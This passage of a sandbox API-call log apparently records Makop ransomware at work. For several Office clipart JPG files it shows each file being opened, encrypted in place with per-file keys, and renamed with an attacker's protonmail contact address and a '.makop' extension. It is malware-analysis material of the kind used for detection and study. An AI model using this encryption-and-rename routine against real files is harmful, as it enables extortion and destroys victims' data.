hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0138.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.027] GetProcessHeap () returned 0x48a0000 [0138.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.028] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x396a, lpOverlapped=0x0) returned 1 [0138.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3970, dwBufLen=0x3970 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3970) returned 1 [0138.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3970, lpOverlapped=0x0) returned 1 [0138.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.031] SetEndOfFile (hFile=0xf0) returned 1 [0138.037] GetProcessHeap () returned 0x48a0000 [0138.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.037] GetProcessHeap () returned 0x48a0000 [0138.037] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.037] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.039] CloseHandle (hObject=0xf0) returned 1 [0138.039] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0138.039] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG") returned 63 [0138.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.040] GetProcessHeap () returned 0x48a0000 [0138.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.041] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0138.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.046] GetProcessHeap () returned 0x48a0000 [0138.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.046] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.047] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.047] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.047] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.047] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x693e, lpOverlapped=0x0) returned 1 [0138.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6940, dwBufLen=0x6940 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6940) returned 1 [0138.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6940, lpOverlapped=0x0) returned 1 [0138.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.051] SetEndOfFile (hFile=0xf0) returned 1 [0138.058] GetProcessHeap () returned 0x48a0000 [0138.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.058] GetProcessHeap () returned 0x48a0000 [0138.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.058] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.060] CloseHandle (hObject=0xf0) returned 1 [0138.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0138.060] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG") returned 63 [0138.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.061] GetProcessHeap () returned 0x48a0000 [0138.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.062] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0138.066] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.066] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.066] GetProcessHeap () returned 0x48a0000 [0138.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.066] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.067] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.068] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcb0a, lpOverlapped=0x0) returned 1 [0138.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcb10, dwBufLen=0xcb10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcb10) returned 1 [0138.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcb10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcb10, lpOverlapped=0x0) returned 1 [0138.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.072] SetEndOfFile (hFile=0xf0) returned 1 [0138.079] GetProcessHeap () returned 0x48a0000 [0138.079] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.079] GetProcessHeap () returned 0x48a0000 [0138.079] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.079] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.081] CloseHandle (hObject=0xf0) returned 1 [0138.081] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0138.081] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG") returned 63 [0138.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.082] GetProcessHeap () returned 0x48a0000 [0138.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.082] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.087] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.087] GetProcessHeap () returned 0x48a0000 [0138.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.087] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.087] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.087] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.087] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.087] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.088] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.088] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.088] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.088] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6cec, lpOverlapped=0x0) returned 1 [0138.090] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cf0, dwBufLen=0x6cf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cf0) returned 1 [0138.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6cf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6cf0, lpOverlapped=0x0) returned 1 [0138.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.091] SetEndOfFile (hFile=0xf0) returned 1 [0138.098] GetProcessHeap () returned 0x48a0000 [0138.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.098] GetProcessHeap () returned 0x48a0000 [0138.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.099] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.100] CloseHandle (hObject=0xf0) returned 1 [0138.100] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0138.100] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG") returned 63 [0138.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program 